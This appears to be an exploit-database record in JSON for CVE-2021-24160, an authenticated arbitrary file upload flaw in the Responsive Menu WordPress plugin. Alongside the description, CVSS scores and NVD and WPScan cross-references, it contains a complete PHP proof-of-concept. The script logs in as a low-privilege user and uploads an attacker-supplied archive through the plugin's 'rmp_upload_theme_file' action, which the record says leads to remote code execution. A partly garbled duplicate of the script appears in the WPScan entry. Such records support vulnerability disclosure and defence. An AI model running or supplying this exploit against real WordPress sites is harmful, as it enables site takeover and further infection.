Description
"A subscriber could upload zip archives containing malicious PHP files that would get extracted to the /rmp-menu/themes/ directory. These files could then be accessed via the front end of the site to trigger remote code execution and ultimately allow an attacker to execute commands to further infect a WordPress site."
Related
{"id": "WPEX-ID:066BA5D4-4AAA-4462-B106-500C1F291C37", "type": "wpexploit", "bulletinFamily": "exploit", "title": "Responsive Menu 4.0.0 - 4.0.3 - Authenticated Arbitrary File Upload ", "description": "\"A subscriber could upload zip archives containing malicious PHP files that would get extracted to the /rmp-menu/themes/ directory. These files could then be accessed via the front end of the site to trigger remote code execution and ultimately allow an attacker to execute commands to further infect a WordPress site.\"\n", "published": "2021-02-10T00:00:00", "modified": "2021-02-21T06:00:39", "cvss": {"score": 0.0, "vector": "NONE"}, "href": "", "reporter": "Chloe Chamberland", "references": ["https://www.wordfence.com/blog/2021/02/multiple-vulnerabilities-patched-in-responsive-menu-plugin/"], "cvelist": ["CVE-2021-24160"], "lastseen": "2021-02-24T16:27:06", "viewCount": 101, "enchantments": {"dependencies": {"references": [{"type": "cve", "idList": ["CVE-2021-24160"]}, {"type": "wpvulndb", "idList": ["WPVDB-ID:066BA5D4-4AAA-4462-B106-500C1F291C37"]}], "rev": 4}, "score": {"value": 5.9, "vector": "NONE"}, "backreferences": {"references": [{"type": "cve", "idList": ["CVE-2021-24160"]}, {"type": "wpvulndb", "idList": ["WPVDB-ID:066BA5D4-4AAA-4462-B106-500C1F291C37"]}]}, "exploitation": null, "vulnersScore": 5.9}, "sourceData": "<?php\r\n\r\n// Settings\r\n$wp_url = $argv[1];\r\n$wp_user = $argv[2];\r\n$wp_pass = $argv[3];\r\n$upfile = $argv[4];\r\n\r\n\r\n// 1) Log in as customer\r\n$ch = curl_init();\r\n$cookiejar = tempnam(sys_get_temp_dir(), 'cookiejar-');\r\ncurl_setopt($ch, CURLOPT_URL, $wp_url . '/wp-login.php');\r\ncurl_setopt($ch, CURLOPT_COOKIEJAR, $cookiejar);\r\ncurl_setopt($ch, CURLOPT_COOKIEFILE, $cookiejar);\r\ncurl_setopt($ch, CURLOPT_RETURNTRANSFER, true);\r\ncurl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);\r\ncurl_setopt($ch, CURLOPT_POST, true);\r\ncurl_setopt($ch, CURLOPT_POSTFIELDS, [\r\n 'log' => $wp_user,\r\n 'pwd' => $wp_pass,\r\n 'rememberme' => 'forever',\r\n 'wp-submit' => 'Log+In',\r\n]);\r\n$output = curl_exec($ch);\r\ncurl_close($ch);\r\n\r\n// Update Settings\r\n$ch = curl_init();\r\n$cFile = curl_file_create( realpath( $upfile ) );\r\ncurl_setopt($ch, CURLOPT_URL, $wp_url . '/wp-admin/admin-post.php');\r\ncurl_setopt($ch, CURLOPT_COOKIEJAR, $cookiejar);\r\ncurl_setopt($ch, CURLOPT_COOKIEFILE, $cookiejar);\r\ncurl_setopt($ch, CURLOPT_RETURNTRANSFER, true);\r\ncurl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);\r\ncurl_setopt($ch, CURLOPT_POST, true);\r\ncurl_setopt($ch, CURLOPT_POSTFIELDS, [\r\n 'action' => 'rmp_upload_theme_file',\r\n 'file' => $cFile,\r\n]);\r\n\r\n$output = curl_exec($ch);\r\ncurl_close($ch);\r\nprint_r($output);\r\n?>", "generation": 1, "immutableFields": [], "cvss2": {}, "cvss3": {}, "_state": {"dependencies": 1645833781}}
{"wpvulndb": [{"lastseen": "2021-02-24T16:27:06", "bulletinFamily": "software", "cvelist": ["CVE-2021-24160"], "description": "\"A subscriber could upload zip archives containing malicious PHP files that would get extracted to the /rmp-menu/themes/ directory. These files could then be accessed via the front end of the site to trigger remote code execution and ultimately allow an attacker to execute commands to further infect a WordPress site.\"\n\n### PoC\n\n$wp_user, 'pwd' => $wp_pass, 'rememberme' => 'forever', 'wp-submit' => 'Log+In', ]); $output = curl_exec($ch); curl_close($ch); // Update Settings $ch = curl_init(); $cFile = curl_file_create( realpath( $upfile ) ); curl_setopt($ch, CURLOPT_URL, $wp_url . '/wp-admin/admin-post.php'); curl_setopt($ch, CURLOPT_COOKIEJAR, $cookiejar); curl_setopt($ch, CURLOPT_COOKIEFILE, $cookiejar); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true); curl_setopt($ch, CURLOPT_POST, true); curl_setopt($ch, CURLOPT_POSTFIELDS, [ 'action' => 'rmp_upload_theme_file', 'file' => $cFile, ]); $output = curl_exec($ch); curl_close($ch); print_r($output); ?>\n", "modified": "2021-02-21T06:00:39", "id": "WPVDB-ID:066BA5D4-4AAA-4462-B106-500C1F291C37", "href": "https://wpscan.com/vulnerability/066ba5d4-4aaa-4462-b106-500c1f291c37", "published": "2021-02-10T00:00:00", "type": "wpvulndb", "title": "Responsive Menu 4.0.0 - 4.0.3 - Authenticated Arbitrary File Upload ", "sourceData": "", "cvss": {"score": 0.0, "vector": "NONE"}}], "cve": [{"lastseen": "2022-03-23T14:48:15", "description": "In the Reponsive Menu (free and Pro) WordPress plugins before 4.0.4, subscribers could upload zip archives containing malicious PHP files that would get extracted to the /rmp-menu/ directory. These files could then be accessed via the front end of the site to trigger remote code execution and ultimately allow an attacker to execute commands to further infect a WordPress site.", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "LOW", "baseScore": 8.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2021-04-05T19:15:00", "type": "cve", "title": "CVE-2021-24160", "cwe": ["CWE-434"], "bulletinFamily": "NVD", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 6.5, "vectorString": "AV:N/AC:L/Au:S/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "SINGLE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-24160"], "modified": "2021-04-08T19:25:00", "cpe": [], "id": "CVE-2021-24160", "href": "https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2021-24160", "cvss": {"score": 6.5, "vector": "AV:N/AC:L/Au:S/C:P/I:P/A:P"}, "cpe23": []}]}